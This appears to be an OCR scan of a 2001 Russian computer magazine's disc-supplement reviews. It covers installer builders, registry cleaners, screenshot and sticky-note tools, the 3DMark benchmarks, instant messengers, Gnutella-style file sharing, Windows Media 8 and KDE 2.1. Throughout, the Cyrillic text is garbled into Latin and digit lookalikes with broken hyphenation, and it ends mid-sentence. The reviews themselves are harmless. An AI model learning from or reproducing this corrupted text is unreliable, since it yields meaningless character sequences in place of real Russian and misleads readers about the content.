HblX KOMnAeKCOB ecTb Bbldop M3 HeCKOAbKMX BMAOB 
yCTaHOBKM, CMAbHeMLUMe KOMnaHMM C03AaK)T co6ct- 
BeHHyio rpac^MHecKyio cpeAy, KOTopaA npM3BaHa cag- 
AaTb XOA MHCT3AAAI4MM 60 Aee npMATHblM M MHTepeC- 
HblM. 

nporpaMMa Setup Generator npeAHa3HaneHa p,ns\ 

C03A3HMA OTHOCMTeAbHO npOCTblX MHCTaAAAUMOHHbIX 
naKeTOB HedoAbiuoro odteMa, KOTopbie 3aTeM MoryT 

6biTb ocfDopMAeHbi KaK exe-4)aMA. 

CaMa nporpaMMa KpaiiHe npocTa b padoTe. CHana- 
Aa Aa>Ke Ka>KeTCA, hto Ha6op ^hkamm BecbMa He6o- 
raT, OAHaKO, sto BnenaTAeHMe o6m3hhmbo. OcHOBHoe 
MecTO Ha naHeAM MHCTpyMeHTOB otboamtca MeHio c 
B 03M0>KH0CTbK) HaBMrauMM Me>KAy npoeKTaMM, pa3pa- 
6oTaHHbiMM c noMOiAbto nporpaMMbi. Generator MO>KeT 
padOTaTb M C HeCKOAbKMMM npoeKTaMM OAHOBpeMeHHO, 
T3K>Ke B03M0>KHa mx rpynnoBaA komomaauma. 

Ecam p,nf\ KOMnMAAUMM oahoto npoeKTa b exe- 
4)aiiA CAy>KMT KHonKa Make (MeHio Project), to KOMnM- 
aauma Bcex npoeKTOB «3a oamh npMeM» ocymecTBAA- 
eTCA npM noMOiAM AonoAHMTeAbHOM cf)yHKUMM Make All 
Setups. KorAa MHCTaAAAUMOHHbm naKeTy>Ke totob, 
ero KoppeKTHOCTb mo>kho npoBepMTb c noMOiAbio 
cfjyHKUMM Run. 

NBG Clean Registry 1.8 npuroAMTCA, ecAM Bbi na- 
cto 33HMMaeTecb ycTaHOBKOM m yAaAeHMeM nporpaMM- 
Horo odecneneHMA Ha BameM KOMnbiOTepe. fleAO b 
tom, hto b cMCTeMHOM peecTpe Windows CKanAMBaiOTCA 
owMdoHHbie 3anMCM. KorAa mx ct3hobmtca camqjkom » 
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▲ B OKHe NBG OToSpamaeTcn chhcok Han- 
AeHHbix b peecrpe ouiHoo'iHbix 3anncen 

» mhoto, B 03paciaeT o6beM peecipa m yMeHbwaeicfl 6bi- 
CTpOfleMCTBMe M yCTOMHMBOCTb CMCTeMbl. Hlo6bl H3MTM, 
a 3aieM yAa/iMTb HepaGoiaioiAMe ccbmKM M3 peecipa, 
mo>kho BOcno/ib30BaibCfl nporpaMMOM NBG Clean 
Registry, fl/ia Hana/ia aHa/iM3a peecipa Heo6xoAHMO 
Ha>KaTb Ha KHonxy c M3o6pa>KeHMeM ma3a b zieBOM 
HM>KHeM ymy. ripn CBepHyTOM OKHe nporpaMMbi npo- 
pecc noMCKa npoxoflm 3HaHMTe/ibH0 6bicipee. 3aieM 
NBG BbiBOflMT cnncoK owm 6 ok m noc/ie HawaTMfl KHon- 
KM C M306pa>KeHMeM MaiUHHbl CKOpOM nOMOlAM ycrpa- 
Hjiei mx. B c/iyHae ec/iM KaKMe-/iM6o ccbmKM 6bmM yfla- 
ZieHbl OWM6OHHO, M0>KH0 npOM3BeCTM 0TK3T M 
BoccTaHOBMTb nepBOHana/ibHoe cocroflHMe peecipa, 
OAHaKO nporpaMMa BecbMa aKKypaiHa, Tax hto 3ia 

(JiyHKUMfl Bpflfl JIM nOHaAOGMTCJl. 

YATS32 8.1 build 20 — 3TO yTM/lMTa, aBTOMaTMHe- 
ckm yciaHaB/iMBaiomaji BpeMfl CMcreMHbix nacoB no 
BpeMeHM cepBepa-aia/ioHa. OHa noAAepwMBaei pa3- 
/I M H H bl e BMAbl npOTOKOJlOB, nOCpeACTBOM KOTOpbIX 
mo>kho no/iyHMTb BpeMfl M3 CeTM. YATS32 MO>KeT Taiorce 
c/iy>KMTb KaK cepBep, no KOTopoMy 6yAei yciaHaB/iM- 
Baibca cMcieMHoe BpeMfl Ha KOMnbtoiepax b zioKa/ib- 
hom cem. 

PrintKey 4.0 — oneHb no/ie3Hafl yTM/iMTa p,nt\ 

Tex, KOMy npnxoAmcfl Ae/iaib mhoto ckpmhiuotob, Ha- 
npMMep, p,nn TexHMHecKMx nMcaie/ieM m/im cociaBme- 
jieM npe3eHTapMM 110. B PrintKey ecTb B03M0>KH0CTb 
HaCTpOM KM «rOpjiHMX» KJiaBMLU, npM H3>KaTMM KOTOpbIX 
npoMcxoAMT «4DOTorpa4)MpoBaHMe» 3KpaHa m/im npo- 
BeAGHMe 3 tom onepapMM nepe3 3aAaHHbm npoMewy- 


TOK BpeMeHM. Mo>KHO «CHMMaTb» 3KpaHbl c DOS-npo- 
rpaMM, 3anyiAeHHbix M3-noA Windows. Ec/in Tpedyei- 
cn no/iyHMTb crporo onpeAe/ieHHyio nacib M3o6pa>Ke- 
hma, c/ieAyeT Bocno/ib30BaibCfl cfiyHKUMeM Get 
Rectangular Area. 

Co3AaTe/in nporpaMMbi MemStick 1.0.0.23 npeA- 
jiaraiOT caKOHOMMTb MecTO Ha padoneM cmne m AeHbm 
Ha noKynxe Ma/ieHbKMx we/nbix 6yMa>KeK — CTMKepoB. 
MemStick 6e3yc/i0BH0 AOCTOMHa noxBa/ibi 3a cboio 
npocTOTy m, mo>kho CKa3aTb, reHMa^bHOCTb. Pa6oiaei 
OHa oneHb npodo. llpM abomhom LAe/iHKe Ha MKOHKy b 
npaBOM HM>KHeM ymy axpaHa Ha pa6oneM cmne noflB- 
jmeTCfl we/noe okowko 3aMeTKM. Ero TaK>Ke mo>kho 
co3Aaib M3 TeKCTOBoro coAep>KMMoro 6y4iepa odMeHa. 
3aMeTKM CBopaHMBaiOTCJi He Ha naHe/ib 3aAan, a no/i- 
HOCTbio yGnpaiOTC^ c 3KpaHa; nm6bi npocMOTpeTb mx, 
Hy>KHO Bbi6paTb nyHKT MeHio «l1oKa3aTb Bce». M caMoe 
maBHoe — npM nepe3anycKe Bee BaniM 33MeiKM 6yAyi 
coxpaHeHbi. 

Halms Tile 2.6 — He HOBaji, ho oneHb cMMnaTMH- 
Han nporpaMMKa p,nn C03AaHMji «o6oeB». CAe/iaib b 
H en hto-jim 6 o paHee 3aAyMaHHoe AOCTaTOHHo TpyAHO, 
HO no XOAy padOTbl B03HMKaK)T T3KMe KapTMHKM, HTO 
mx Tax m xonema rAe-HM6yAb coxpaHMTb Ha bcakmm 
c/iynaM. Halm mo>kho nopeKOMeHAOBaib web-AM3aMHe- 
paM cKopee He KaK MHcrpyMeHT pa3pa6oTKM, a KaK 6o- 
raieMiuMM mctohhmk macm. B odiueM, coBeiyio nonpo- 
6oBaib — cKynHo He 6yAei! 

Atlantis 1.0 Nova — yAodHbm TeKdOBbiM peAaK- 
Top — pa3pa6oTKa KOMnaHMM Rising Sun Solution, co- 
CTOJUAeM M3 pyCCKMX npOrpaMMMCTOB, >KMByiAMX b Ab- 
CTpa/lMM. KpOMe CTaHAapTHbIX (fiyHKUMM (}DOpMaTMpO- 
BaHMfl OHa MMeeT B03M0>KH0CTb M3MeHeHM51 Me>KCTpOH- 
hoto m Me>K6yKBeHHoro paccioflHMji, a T3K>Ke CMeiue- 
HMfl CMMBOJIOB no BepTMKa/lM. B peAaKTOpe eCTb B03- 
M0>KH0CTb CMeHbi naHe/ieii Ha>KaiMeM oahom khohkm m 
llJMpOKMe B03M0>KH0CTM pa60Tbl C He33BMCMMblM 6y(f)e- 
poM odMeHa. nporpaMMa noAAepwMBaei cfiopMaTbi RTF 
m TXT. 

Eiue OAHa opMrMHa/ibHafl m yAodHa^i cfiyHKUMfl — 
BCTpoeHHOe KOHBepTMpOBaHMe eAMHMA M3MepeHMJl, 
HanpMMep, cfiyTOB b Meipbi m HaodopoT. fl/m padoTbi c 


KMpM/l/lMHeCKMMM KOAMpOBKaMM Heo6xOAMMO yCTaHO- 
BMTb AOnO/lHMTe/lbHblM MOAy/lb Codings (apXMB Hy>KHO 
pacnaKOBaTb b KopHeBOM Kaia/ior peAaKTopa m nepe- 
3anycTMTb nporpaMMy). 

CyiuecTByiOT 6ecn^aTHa^ (Atlantis 1.0 Nova) n 
n/iaTHafl (Atlantis 1.0 Ocean Mind) Bepcnn nporpaM- 
Mbi. KoMMepnecKa^ MMeeT pjiA Aono^HMie^bHbix cjiyHK- 
AMM. 

3DMark2000 & 3DMark2001 l.O.O.l 

3DMark y>Ke ipeTM m toa JiB^aeTCJi oahom m 3 caMbix 
nony^jipHbix yTM/iMT p,j\n TecTMpoBaHMfl rpacfiMHecKOM 
moiahoctm KOMnbiOTepoB, m, AY^aio, mo>kho c yBe- 
peHHOCTbio CKa3aTb, hto m caMOM ^yniuoM. Ec^m y 
Bac AOCTaTOHHo KanecTBeHHoe >Ke^e30, Bbi HaBepHji- 
Ka xoTe/iM 6bi npoBepMTb ero pea^bHyio MOiAHOCTb. 
3DMark noMO>KeT, ec^M Bbi xotmtc noH^Tb, KaKMe 
KOMnoHeHTbi Barnero PC 3aMeHMTb, HTo6bi Ao6MTbCJi 
HaMdo^biuero pocia npoM3BOAMTe/ibHOCTM rpac^MHe- 
CKOM nOACMCTeMbl. 


3DMark2000 


► npoueccop 166 MTu c noAflep>KKOM MMX 

► RAM 64 M6aMT (peKOMeHflyeTcn 128 M6aPiT) 

► OS Windows 9x/Me/2000 

► DirectX 7 m/im 6o/iee HOBbiki 

► aKce/iepaTop 3D DX7-coBMecTmvibm 

Bo^ee crapafl BepcMji npoAyKTa npeAHa3HaneHa 

A/lfl CMCTeM, KOTOpbie no CBOeM npOM3BOAMTe/lbHOCTM 
y>Ke He AOCTMraiOT BbiciuMx coBpeMeHHbix noKa3aie- 
neM. 06 3 tom CBMAeie^bCTByei n MMHMMa/ibHaji koh- 
(JiMrypaAMji pj\a TecTMpoBaHMji c noMOiAbio 
3DMark2000. 

Tedbi Ae/mTCfl Ha ABe ocHOBHbie naciM: Tecmpo- 
BaHMe OTAe/ibHbix TpexMepHbix cfiyHKAMM m HeynpaB/m- 
eMbie demo-po^MKM Mrp. Ohm c/iywaT npaKTMnecKMM 
TeCTOM, M MX pe3y/lbTaTbl MMeiOT BblCOKyiO MHfjlOpMa- 
TMBHOCTb. K TOMy >Ke mo>kho 3anycTMTb 3DMark demo, 
KOTopaji npoAGMOHdpMpyeT bo 3 mo>khoctm BaiueM rpa- 
(JlMHeCKOM KapTbl B COnpOBO>KAGHMM AHH8MMHH0M My- » 
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CHIP CD coflepjRaHMe 


3 DMark 2001 


► npoueccop 500 MTm 
(aBTopbi peKOMeHflyKDT 1 ITm) 

► RAM 128 M6awT (peKOMeHflyeTCfl 192 M6aMT 
A/ifl Windows2000) 

► DX8 coBMecTMMbm 3D-aKce/iepaTop c 
naMBTbK) 32 M6aMT 

► DirectX 7 m/im 6o/iee hobum 

► OS Windows 98/Me/2000 



a HecMOTpa Ha cbom 3 ao 6 /iaHHbie 
Tpe 6 oBaHMfl k cwcTeMe, 3 DMark wvieeT 
npocroM HHTep<t>eMC 

» 3biKM (demo He c/iy>Km TedOM m He 3anncbiBaeT HMKa- 
kmx noKa3aTe/ieM). Pe3y/ibTaTbi Tecra noKa3biBaiOTCfl b 
6a/i/iax, ho noflpo6Hbm aHa/iM3 m AOdyn k KOHcy/ibTa- 
\\m b CeTM Bbi no/iynme mnbKO noc/ie perMcrpaflMM. 
06beM, KOTopbm nporpaMMa 33MMeT Ha flMCKe noc/ie 
MHCTa/ijnmMM — 40 M6aMT. 

HoBafl BepcMa ropa3flo cnowHee, 06 stom Bbi mo- 
>KeTe cyflMTb caivm no MMHMMa/ibHo peKOMeHflyeMOM 
KOH^MrypauMM KOMnbtoiepa. 

PeflaKUMOHHbm KOMnbioTep c abco/iK/mo cootbct- 
CTByiomeM Tpe6oBaHM^M KOHcfiMrypaflMeM noKa3a/i ce- 
6 n He /lyniuMM o6pa30M npn pa3peweHMM 6o/iee Bbico- 
kom, neM 640x480 (mot 6bi c stmm cnpaBMTbca m 
no/iynwe). HoBa/i Bepcmi 3DMark TaK>Ke pacno/iaraeT 
HeCKO/lbKMMM BMfl3MM TeCTOB. YHMTblBafl TO, HTO peHb 
MfleT o hobom BepcMM, npoctDeccMOHa/ibHbie McnbiTaie- 
jim Mor/iH 6 bi noflyMaib m o peri/icipaum/i, KOTopaa flacr 
BaM AOdyn k TeM we (JiyHKUMflM, hto y npeflbiflymeM 
BepcMM, a TaK>Ke k ycoBepmeHCTBOBaHHOMy Teciy Ima- 
ge Quality m BepcMM TecTMpyioifleM Mrpbi, b KOTopyio 
mo>kho nonrpaTb. QeHa perncTpaum/i fl/m Mcno/ib30Ba- 
hma — $39,99. 06paime BHMMaHMe m Ha o6beM mh- 
CTa/uiMpoBaHHoro 3DMark2001 — oh 33mmct Ha Ba- 
ineM flMCKe 6o/iee 100 M6aMT! 

TecT Chip CD 

Kax M3BecTHO, nony/mpHocrb Instant Messenger'oB b 
noc/ieflHee BpeMA HeyK/ioHHo pacreT. Korfla ft CTa/i mc- 
no/ib30BaTb ICQ oko/io rofla Ha3afl, MHe 6bm npMCBoeH 
HOMep, HaHMHaBLUMMCJI Ha «6» M3 BOCbMM flMCfip. C Tex 
nop ft mhoto pa3 3a6biBa/i cbom napo/ib m npodo 3a- 
BOflM/i cede HOBbm HOMep. ByKBa/ibHo Ha ahax, 3aBOflji 
HOBbIM HOMep, ft nO/iyHM/1 H MC/IO M3 fleBflTM flMCfDp, Ha- 


HMHaioifleec^ Ha «11». 3 to CBMfleTe/ibCTByeT o tom, hto 
nony/mpHOCTb ICQ 3a noc/ieflHMM rofl Bbipoc/ia npM- 
MepHo BflBoe! OflHaKO, Kax 6bi TaM hm 6bmo, Ha ICQ 
CBeT kjimhom He cowe/ica, m Ha Chip CD 06/2001 Mbi 
ny6/iMKyeM nofldopKy HaM6o/iee nony/mpHbix Messen- 
ger'oB m mx cpaBHMTe/ibHbie xapaKTepMCTMKM. 3flecb 
Bbi HaMfleTe Odigo, Yahoo Messenger, Rapman, A0L m 
A pyrMe MHTepHeT-neMflwepbi. 

Odigo 3.1a paflyeT ma3 MrpMBbiM no/ib30BaTe/ib- 
CKMM MHTep^eMCOM, HO 3a CTMJlM30BaHHblM (fiaCaflOM 
CKpbiBaeTCJi npoflyMaHHbiM 
Instant Messenger, coflep- 
>KaiflMM 6o/ibinMHCTBO Heo6- 
XOflMMblX 4)yHKflMM, T3KMX 

Kax nepecbmxa cfiaM/ioB, 
rpynnoBbie KOHcfiepeHflMM, 

0ffLine-coo6ifleHMji m Voice 
Chat. l/l3iOMMHKa Odigo — 

3TO COBMeCTMMOCTb C A0L 

Instant Messenger, ICQ m 
Y ahoo. 

ripM perMCTpaflMM ot Bac 
noTpedyiOTCfl noflpodHbie 
nepcoHa/ibHbie flaHHbie. B/iaroflap/i 3TOMy ct3hobmtc5i 
B 03M0>KHbiM noMCK online-no.nb30BaTe.neM c onpefle- 
zieHHbiMM npocfieccMAMM, MHTepecaMM M HaMepeHMJIMM. 
flono/iHMTe/ibHbie plug-in'bi no3BO/mT Mcno/ib30BaTb 
E-Mail m Video-Messages HenocpeflCTBeHHo M3 Odigo. 

B ue/iOM, Odigo, 6/iaroflapn cobmccthmoctm c ziMflepa- 
mm pbiHKa, npoM3BOflMT xopoiuee BnenaT^eHMe. A ec/iM 
ee MHTep(J)eMC f\nft Bac HenpMBbineH, to mo>kho ^erxo 
M3MeHMTb ero, 3arpy3MB HOBbie CKMHbl. 

Yahoo messenger 3.5 T3K>Ke npefl^araeT Hafle>K- 
Hbie IM-ycnyrn m MMeeT BnenaT^jnoiflMM Ha6op 4)yHK- 
flMM. Yahoo Messenger ycTaHaBnMBaeTCfl 6biCTpo m 
npocTO. Bee HacTpoiiKM nporpaMMbi, b tom HMC/ie on- 
flMM fl/153 CBA3M Hepe3 npOKCM-CepBep M/IM C MCn0Jlb30- 
BaHMeM Firewall, nonb30BaTe^b MO>KeT npoM3BecTM b 
T eneHMe HecKO/ibKMx MMHyT. 

OneHb xopoino perneHa MHTerpaflMji yenyr Yahoo, 
T3KMX KaK nonyneHMe cboaok noroflbi, hoboctcm m 
noHTbi. 1/lfleanbHo pea/iM30BaHbi Bee CTaHflapTHbie 
cf3yHKflMM, TaKMe KaK Instant Messages, Chat, Voice 
Chat m rpynnoBbie KOHcfDepeHflMM. OneHb xopoiuee 
BnenaTueHMe ocTaBu^eT HaruflflHa^ noub30BaTeubCKa^ 
o6o/10HKa, C nOMOlflbK) JICHbIX CMMBO/IOB M flOnOJlHM- 
TeubHbix coo6ifleHMM OTo6pa>KaK)iflaji craTyc Ka>Kfloro 
online-KOHTaKTa. Pa3onapoBbiBaeT BHyTpeHHyui aflpec- 
Ha^i KHMra, perMCTpMpyioiflaji uMiub mma, Teue4)OH m afl- 
pec e-mail. 

KOHTaKTC HOBbIMM n0Ub30BaTeU^MM OCyifleCTBUJl- 
eTCfl b aHr/iMMCKOM BepcMM nepe3 MHTerpMpoBaHHbie 
Online Chatforums. ripM OTnpaBKe c^aM/ibi Bcerfla CHa- 
naua HaKan/iMBaiOTCJi Ha Yahoo-cepBepe, np^Ma^ ot- 
npaBKa HeB03M0>KHa. flonouHMTeubHbie cbomctb 3, Ta- 
KMe KaK Offline Messages, cfjyHKUMM c|DM/ibTpauMM m 
BCT poeHHbm PC2Phone A/153 3 bohkob no CTaflMOHapHOM 
ceTM 3aBepiuaiOT Ha6op cfiyHKUMM. 

Rapman 2.6 b KanecTBe m3iommhkm npefluaraeT 
MHTerpMpoBaHHbiM Mediaplayer fl/ifl npocuyiuMBaHMji 
(fiaM/iOB cfiopMaTa MP3 m MHTepHeT-paflMocTaHflMM. 


KpoMe Toro, nporpaMMa coflep>KMT 6eryiflyio crpoKy 
6np>KeBbix CBOflOK m coBMecTMMa c ICQ m MSN. 

B KanecTBe IM Rapman npefl/iaraeT CTaHflapTHbm 
penepTyap, BKmonaioiflMM Instant Messages, rpynno- 
bom Chat m E-mail. 

AOL Instant Messenger 4.3, no flaHHbiM AOL, mc- 
noub3yiOT 6ouee 64 muh nojib30BaTejieM. B hobom Bep- 
cMM y>Ke MMeiOTCJi online-Mrpbi m paciuMpeHHbm koh- 
T3KT-/1MCT. AIM MfleHTMHeH Netscape Messenger m 
C ompuServe Messenger. 

YcTaHOBKa m HacTpoMKa npo6ueM He Bbi3biBaiOT — 
MHTerpMpoBaHHbiM noMOiflHMK 6epeT Ha ce6a 6oubiuyio 
nacTb padoTbi. B craHflapTHOM HacTpoMKe AIM noKa3bi- 
BaeT flBe 6eryiflMx ctpokm, HOBOCTHyio m 6Mp>KeByio, 
nocTOAHHO HaxofljuflMecji b pe>KMMe «npoKpyTKM», mx 
mo>kho Bbi K/iioHMTb b yflo6HOM MeHio HacTpoeK. Pac- 
copTMpoBaHHbie no rpynnaM KOHTaKT-uMCTbi uerKO Ha- 
CTpaMBaiOTCJi, coxpaHjuoTCfl m nepecbmaiOTCJi Me>Kfly 
n0Ub30BaTeU5lMM. TaKMM o6pa30M, odMeH KOHTa KTaMM, 
b OT/iMHMe ot Yahoo Messenger, npoM3BOflMTC5i KpaMHe 
npocTO. 

CTaHflapTHbie cfiyHKUMM — coodifleHMe, chat-npM- 
maiueHMe m Voice Chats — flocTynHbi HenocpeflCTBeH- 
ho nepe3 mkohkm b HM>KHeM 6uoKe nporpaMMbi. 

CpeflM ocodeHHOCTeM Internet Pager 2.2 mo>kho 
OTM eTMTb npocTOTy MHCTa/umuMM nporpaMMbi m pa6o- 
Tbi c Hen, a cpeflM cfiyHKflMM Bbi HaMfleTe OTnpaBKy 
4iaMU0B, e-mail, rouocoBbix coo6ifleHMM Ha TeuecfioH, 
MHOronOJlb30BaTe/lbCKMM chat M B03M0)KH0CTb 3BOHK3 
c PC Ha PC. rioMCK HOBbix flpy3eM ocyiflecTBUJieTCJi no 
napaMeTpaM, KOTopbie bboajitcji noub30BaTeujiMM npn 
perMCTpaflMM. Okho koht3ktob BepTMKaubHo pa3fleue- 
ho Ha flBe nacTM — online m offline. 1/lHTepecHbiMM 
0C06eHH0CTJ1MM 51BU5HOTC51 B03M0)KH0CTb nOCbmaTb 
BMpTyaubHbie OTKpbiTKM, noflflep>KKa ceTeBbix Mrp, pM- 
coBaHMe Ha KOMMyHMKaflMOHHOM floexe (whiteboard), 
MHTerpMpoBaHHbiM nOMCK M CKaHMBaHMe MP3"4iaMUOB, 
6aHK flaHHbix khmt c npofla>KeM nepe3 I/I HTepHeT m 
npOCTOM IRC-KUMeHT. 

Napster 11 apyrue 

riepecbmKa cfiaMuoB — oflHa M3 maBHbix cfiyHKUMM I/Ih- 
TepHeTa. 06MeHMBaTbC5i mo>kho neM yroflHo — npo- 
rp3MM3MM, MrpaMM, HOBOCTflMM, AOKyMeHTaMM, KapTMH- 
KaMM m He b nocueflHioio onepeflb My3biKOM b cfiopMaTe 
MP3, WMA m OGG. Ctomt OTMeTMTb, hto cyiflecTByeT He- 
CKO/ibKO TMnoB ceTeM, nepe3 KOTopbie npn Mcnoub30- 
B3HMM CneflMaUbHblX K/lMeHTOB MO)KHO CKaHMB3Tb $ aV \- 
ubi. K caMbiM MHTepecHbiM OTHocflTCfl Napster, 
AudioGnome m Gnutella. 

He no3BO/iflMTe ce 6 ft 3anyTaTb noxo>KMMM Ha3B3HM- 
53 m — oc}DMflMaubHoe pa3BMTMe K/iMeHTa m ceTM Gnutel- 
la 3aKOHHM/iocb, m Tenepb Ha ero MecTO bct3/im npo- 
flou>KaTeuM MfleM no MMeHM Gnotella. Bo3mo>kho, 
kto-to eifle Mcnoub3yeT CTapyio BepcMio K/iMeHTa, ho 
oh 6e3Hafle>KHO ycTapeu m noaTOMy Mbi peKOMeHflyeM 
Mcnoub30BaTb 3 tot, 6ouee HOBbm BapuaHT. Buaroflapji 
4 )muoco4imm P2P Ka>Kflbm K/iMeHT co3flaeT no cyTM 
codcTBeHHbiM cepBep — flHeMKy, 5iBU5noiflyiocji cocTaB- 
HOM HaCTblO ctmxmmho paciuMpjuoifleMCJi CTpyKTypbi 6e3 
HeobxoflMMOCTM fleHTpauM30BaHHoro ynpaBueHMA. 
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» Gnotella — 3to nporpaMMa pj\n nepeflanM cjaa m/i o b 
nepe3 I/I mepHeT He3aBMCMMO ot mx xapaKTepa. 

To ecrb, Bbi MO>KeTe pa6oiaib c jho6nmm (}DaM.naMM — 
ayflMO, BMfleo, nporpaMMbi, apxMBbi m t. a. Gnotella 
npefl/iaraeT Taxne MCKJHOHMTe/ibHbie npeMMyiAecTBa, 
KaK MHoroKpaTHbm noncK, y^yHiueHHafl (JiM/ibTpauMfl, 
3 aiAma ot «cnaMa», KOHTpo/ib 3 a Harpy 3 KOM cem, pac- 
mnpeHne CTaTndnKn, 3 arpy 3 Ka n Apyrne ycoBepweH- 



▲ Gnotella — K/iiem cem Gnutella 

CTBOBaHn^. YnnibiBaji xapaKTep nporpaMMbi, mo>kho 
CK a 3 aTb, hto ee pa 3 Bnme He 3 aKOHHM/iocb, a magt Bne- 
peA nocroaHHo, Hebo/ibWMMM wa>KKaMM, m KawAan ho- 
Bafl BepcMfl npMHocm HeKOTopoe y^yniueHMe. 

Gnutella m ee mioHbi co3AaiOT ceib peer-to-peer 
KOMnbioTepoB, nepe 3 Koiopyio Bbi MO>KeTe nepeAaBaib 
c|3aM/ibi. noc/ie v \ HCTaj ] j ] f \ u,m Gnotella Bam KOMnbtoiep 
CTaHOBMTCfl ee COCTaBHOM HaCTblO. M 3 - 3 a nOCTOflHHO 
MeH^ioiAerocfl KO/iMnecTBa no/ib 30 BaTe/ieM, (fiaM/iOB m 
obteMOB AOdynHbix AaHHbix npouecc noMCKa m ck 3 hm- 
BaHMfl nOpOM CMJlbHO ycno>KH 5 ieTCJi . 

3 iy nporpaMMy Mbi peKOMeHAyeM M 3 - 3 a ee He 3 aBM- 
cmmoctm h OTcyTCTBMfl HeobxoAM moctm ynpaB/ieHMA 
peHTpa^bHbiM cepBepoM. 

AudioGnome — a/ibrepHaTMBHoe 3/ieraHTHoe pe- 
lueHMe A-n^ o6MeHa (fiaM/iaMM MP3. ripMMep n/iaTHOM 
cny>K6bi Napster Aa/i tojihok bo3hmkhob6hmio Apymx 
ceiew p,nn o6MeHa (fiaM/iaMM. Oahmm m3 t3kmx pewe- 
hmm cra/ia nporpaMMa AudioGnome. Ee MHCTa/i/muMfl 
npoxoAm 6 e 3 npob/ieM, noc/ie 3 anycKa Bac npoau 3 a- 
AaTb m M 53 A/i 5 i noAK/noneHMA h napo/ib. 

B Memo oneHb npodo opMeHTMpoBaTbc/i. llepBbm 
nyHKT Connect npeA/io>KMT BaM cnMCOK cepBepoB, c 
KOTOpbIMM Bbi MO>KeTe COeAMHMTbCfl,’ B CnMCKe eCTb 
TaK>Ke cepBepbi Napster. Ec/im bn xotmtc ynpocrmb 
cede 3aAany, to Bbi6epnTe Bee cepBepbi (Select All) m 
H a>KMMTe Connect. TorAa AudioGnome npoMHcfiopMM- 
pyeT Bac k k 3 kmm cepBepaM bn noACoeAMHM/iMCb, m 
B biAacT Heo6xoAMMyio MH^opMapmo, HanpMMep, mma, 
aApec IP, nopT m t. a. ripn noMCKe bn 3 aAaeTe K/none- 
Boe cjiobo h me/iKaeTe Ha Search. B oKHe no/iBMTCfl 
Ha 3 BaHne nanKM, rAe xpaHMTca npon 3 BeAeHne, ero Ha- 
3 BaHne, nickname ne/iOBeKa, kotopnm AB/meTca ero 
B/iaAe/ibpeM, cKopocTb coeAMHeHMji, obteM cfiaM/ia, bit- 
rate, npoAO/DKMTe/ibHocTb 3 ByHaHmi m HOMep cepBepa. 
Bbi6paB npon 3 BeAeHne A-nfl CKaHi/iBamifl, me/iKHMTe Ha 
Download, m cjoaM/i nepeMAeT b Apyroe okho — File 
Transfer. 


nporpaMMa noAAep/KMBaeT chat (okho Users). 

Ec/im bn KorAa-Hn6yAb obma/iMCb b IRC, Bac He yAMBMT 
c^eAyioiAMM nyHKT Chat Rooms, rAe b cooTBeTCTBi/ie c 
TeMOM MO)KHO BblbpaTb ^e, C KeM H O HeM Bbi XOTMTe 
noroBopMTb. AudioGnome T3K>Ke MMeeT BcrpoeHHbiM 
6poy3ep. 

Windows Media 8 

y>Ke b KOHpe npow/ioro roAa KOMnaHM/i Microsoft 
npeACTaBM^a HOByio Bepcmo cfiopMaTa Windows Media. 
OAHaKO ao HacTOJUAero MOMeHTa He 6bmo yTM/iMTbi, c 
noMOiAbio kotopom bn mot/im 6 bi caMM nepeKOAMpo- 
BaTb cbom My3biKa^bHbie m/im BMAeocfiaM^bi. Tenepb 
OHa cyiuecTByeT (bn HaMAeTe ee Ha Chip CD), ho, yBbi, 
noAAep>KMBaeT mnbKO (fiaM/ibi TMna AVI, WAV, WMA m 
WMV, H eio MO)KHO ynpaB/lflTb TO/lbKO M3 KOMaHAHOM 
CTpoKM. Hobnm cfiopMaT coBMecTMM c Windows Media 
Player HaHMHaji c Bepcm/i 6.4, a T3K>Ke c ocTa/ibHNMi/i 
nponrpbiBaTe^jiMM (ec^n ohm noAAepwMBaiOT koackm 
WM7). KaKOBbi >Ke ero bo3mo>khoctm? 

My3biKa 

CaM npoM3BOAMTe/ib npoB03mauiaeT Unmatched 
Fidelity (6ecnoAo6Hyio TOHHOCTb) BOcnpoM3BeA6HMji 
3ByKa, coxpaHeHHoro b (JiopMaTe WM8. Ha o^MpMa^b- 
hnx CTpaHMHKax Microsoft coo6maeTCfl, hto WM8 ao- 
CTMraeT toto >Ke KanecTBa npu noTOKe ashhnx oGte- 
mom b OAHy TpeTb, no cpaBHeHMio c MP3. 3to, 
pa3yMeeTCJi, HenpaBAa, ho npu noTOKe (m OKOHHaTe/ib- 
hom obteMe) no/iOBMHHOM KanecTBO Bno^He cpaBHM- 
mo, a MHorAa m ^ynuie M3-3a MeHbiuero MCKa>KeHMji. 
KanecTBO, 6^M3Koe k KanecTBy CD, mn no^yHMM y>Ke 
npu 48 K6mt/c (MP3 96 K6mt/c), KanecTBO CD — ot 
64 K6mt/c (MP3 128 K6mt/c). 

Bnfleo 

y BMAeo AeJia TO>Ke Hen^oxu. npeA/iaraiOTCJi KaK CBR 
(nocTOJiHHNM noTOK AaHHbix), AOCTMraioiAMe KanecTBa, 
6/iM3Koro VHS npu 250 K6/c, TaK m VBR (nepeMeHHbm 
noTOK AaHHbix), npu kotopom KanecTBO, 6^M3Koe DVD, 
AOCTMraeTOi y>Ke npu 500 K6/c. npu TaKOM noTOKe 
AaHHbix coxpaHeHHNM 100-MMHyTHbiM (fiM^bM Tpe6yeT 
Bcero 370 M6aMT ahckoboto npocTpaHCTBa! Xopomux 
pe3y/ibTaTOB mo>kho AOCTMrHyTb npu A^yxTa kthom 
KOAM poBaHMM c VBR (Hy>KHO npMMepHO BABoe bo^biue 
BpeMeHM M3-3a abomhoto npoxoAa, skohommtcji 
20-35% obteMa — b 33BMCMMOCTM ot a/ihhn 3anMCM m 
AMH 3MM3Ma CpeH). B CpaBHeHMM C DivX MeCTO He 3KO- 
hommtcji, k TOMy >Ke npu BOcnpoM3BeAeHMM npoueccop 
paboTaeT c bo/ibweM Harpy3KOM, ho KanecTBO Bocnpo- 
m3boammom KapTMHKM c yneTOM bitrate m npaBAa npe- 
KpacHo. 

Linux 

HeAaBHO nojiBM^acb rpacJiMHecKaji cpeAa KDE 2.1 pj\a 
Linux, KOTopa^i Ae/iaeT 3Ty onepauMOHHyio CMCTeMy 
APy>KeCTBeHHOM no OTHOUieHMIO K obbIHHOMy no^b30- 
BaTe/no m cnocobcTByeT npoABM>KeHMK) Linux b HMmax 
AOMamHMx m ocJdmchnx KOMnbioTepoB. BcKope noc^e 
BbixoAa KDE 2.0 nporpaMMMCTbi npeACT3BM/iM oOhob- 
